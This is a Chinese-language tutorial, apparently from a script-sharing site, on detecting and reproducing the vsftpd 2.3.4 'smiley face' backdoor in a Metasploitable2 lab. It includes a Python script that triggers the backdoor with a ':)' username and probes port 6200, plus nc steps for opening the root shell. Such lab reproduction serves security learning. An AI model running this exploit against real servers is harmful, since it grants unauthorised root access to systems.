Python脚本检测笑脸漏洞的问题复现

 更新时间:2024年10月23日 09:01:49   作者:TFIRE  
Python脚本有效检测vsftpd2.3.4版本中的笑脸漏洞,该漏洞存在于6200端口,允许任何人连接,输入带有特定表情符号的用户名和任意密码即可触发,本文介绍了环境搭建、漏洞扫描和利用过程,通过nc命令演示了漏洞复现步骤

Python脚本检测笑脸漏洞

一、漏洞介绍

​ vsftpd2.3.4中在6200端口存在一个shell,使得任何人都可以进行连接,并且VSFTPD v2.3.4 服务,是以 root 权限运行的,最终我们提到的权限也是root;当连接带有vsftpd 2.3.4版本的服务器的21端口时,输入用户中带有“😃 ”,密码任意,因此也称为笑脸漏洞。

二、环境搭建

攻击机(本机):125.217.53.182

靶机(metaspolit2):192.168.126.129

namp漏洞扫描

我们发现21端口是打开的,而且版本也相对应,接下来我们使用python脚本进行漏洞检测

import socket
from ftplib import FTP
url = input("请输入你需要检测的地址:")
ftp = FTP()
username = 'root:)' #用户名必须包含:)这两个字符
password = 'anonymous' #密码随便啥都行
try:
    ftp.connect(url,21,timeout=10)#使用ftp登录,设置延时10秒
    ftp.login(username,password)
    ftp.quit()
except:
    print("完成登录检测")
try:
    s = socket.socket() #使用socket函数来检测是否有漏洞存在
    s.connect((url,6200))
    s.close()
    print("存在微笑漏洞")
except:
    print("没有发现笑脸漏洞!")

输入我们需要攻击的ip地址,

发现存在笑脸漏洞

三、漏洞复现

(一)使用nc进行漏洞利用

1、打开命令行登录ftp服务器,在用户名处输入xiaofeng:)然后随意输入一个密码回车等待,紧接着进行下一步:

image

2、打开一个新窗口,输入nc 目标ip 6200 即可连接。

复现完成

到此这篇关于Python脚本检测笑脸漏洞的文章就介绍到这了,更多相关Python脚本检测笑脸漏洞内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • python中sql解析库sqlparse基本操作指南

    python中sql解析库sqlparse基本操作指南

    sqlparse是用于Python的非验证SQL解析器,它提供了对SQL语句的解析,拆分和格式化的支持,这篇文章主要给大家介绍了关于python中sql解析库sqlparse基本操作指南的相关资料,需要的朋友可以参考下
    2024-08-08
  • Python中的startswith和endswith函数使用实例

    Python中的startswith和endswith函数使用实例

    这篇文章主要介绍了Python中的startswith和endswith函数使用实例,特别是endswith函数,有了它,判断文件的扩展名、文件的类型在容易不过了,需要的朋友可以参考下
    2014-08-08
  • python命名空间(namespace)简单介绍

    python命名空间(namespace)简单介绍

    这篇文章主要介绍了python命名空间(namespace)简单介绍,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2019-08-08
  • 把大数据数字口语化(python与js)两种实现

    把大数据数字口语化(python与js)两种实现

    当出现万以上的整型数字时,经常要把它们口语化比较直观。下面分享两段代码,python与js的
    2013-02-02
  • python 多线程对post请求服务器测试并发的方法

    python 多线程对post请求服务器测试并发的方法

    今天小编就为大家分享一篇python 多线程对post请求服务器测试并发的方法,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2019-06-06
  • Python 实现训练集、测试集随机划分

    Python 实现训练集、测试集随机划分

    今天小编就为大家分享一篇Python 实现训练集、测试集随机划分,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2020-01-01
  • 基于Python实现合并多张图片转成mp4视频

    基于Python实现合并多张图片转成mp4视频

    随着现代科技飞速发展和人们提升视觉上体验,利用图片生成视频的方法,确实为工作或者提升生活体验感做了很多成功案例,本文就来介绍一下具体实现方法吧
    2023-04-04
  • Python使用Selenium抓取动态网页的方法步骤

    Python使用Selenium抓取动态网页的方法步骤

    在如今的网络中,许多网站是“动态”的,即网页内容不是静态的 HTML 文件,而是由 JavaScript 动态生成的,这种动态网页在数据抓取中带来了一些挑战,在本教程中,我们将详细介绍如何使用 Python 抓取动态网页,需要的朋友可以参考下
    2024-11-11
  • Python定时器线程池原理详解

    Python定时器线程池原理详解

    这篇文章主要介绍了Python定时器线程池原理详解,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2020-02-02
  • 如何用python和java分别写出10道经典题(含代码)

    如何用python和java分别写出10道经典题(含代码)

    Python与Java在语言特性、性能和应用场景上各有优势,下面这篇文章主要介绍了如何用python和java分别写出10道经典题的相关资料,文中通过代码介绍的非常详细,需要的朋友可以参考下
    2026-05-05

最新评论